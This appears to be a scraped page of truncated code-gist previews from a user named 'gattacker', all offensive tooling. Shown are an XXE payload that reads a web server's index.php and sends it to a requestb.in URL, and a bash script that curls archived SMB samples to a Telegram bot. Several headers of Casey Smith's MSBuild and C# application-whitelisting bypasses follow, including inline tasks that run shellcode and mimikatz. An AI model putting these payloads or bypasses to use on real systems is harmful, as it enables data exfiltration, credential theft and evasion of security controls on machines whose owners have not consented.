gattacker

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/index.php">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'https://requestb.in/141gy131?log=%payload;'>">

gattacker

#!/bin/bash

chat_id="-123456789"
token="123456789:ABCDEFGHELJKT"
document="/tmp/SMB-samples-$(date +%d-%m-%y-%T).tar.gz"
msg_description="Hey, dude! Look at here. Here is $($smb_file_count) samples. Dalshe sami y meny lapki."


function SendToTelegram {
        curl -s -F chat_id=$chat_id -F document=@$document -F caption="$msg_description" https://api.telegram.org/bot$token/sendDocument  > /dev/null 2&>1

gattacker

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
　
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

gattacker

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
 
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

gattacker

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- MSBuildShell, a Powershell Host running within MSBuild.exe -->
  <!-- This code let's you Bypass Application Whitelisting and Powershell.exe restrictions. -->
  <!-- Save This File And Execute The Following Command: -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj -->
  <!-- Author and founder of the MSBuild Application Whitelisting Bypass code: Casey Smith, Twitter: @subTee -->
  <!-- Powershell Host Code: Original from Microsoft (MSDN), modified by Cn33liz, Twitter: @Cneelis -->
  <!-- License: BSD 3-Clause -->
  <Target Name="MSBuildPosh">
   <MSBuildShell/>

gattacker

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
 
/*
 
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
 
Create Your Strong Name Key -> key.snk

gattacker

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask

gattacker

//Credits to Casey Smith for his initial research here "https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371"
//Based on Jared Haight work (https://github.com/jaredhaight/PSAttack)
//1. Compile "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:PSA64.exe PSA64.cs"
using System;
using System.Reflection;

namespace PSA64
{
    class Program
    {

gattacker

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes mimikatz. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask

gattacker

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>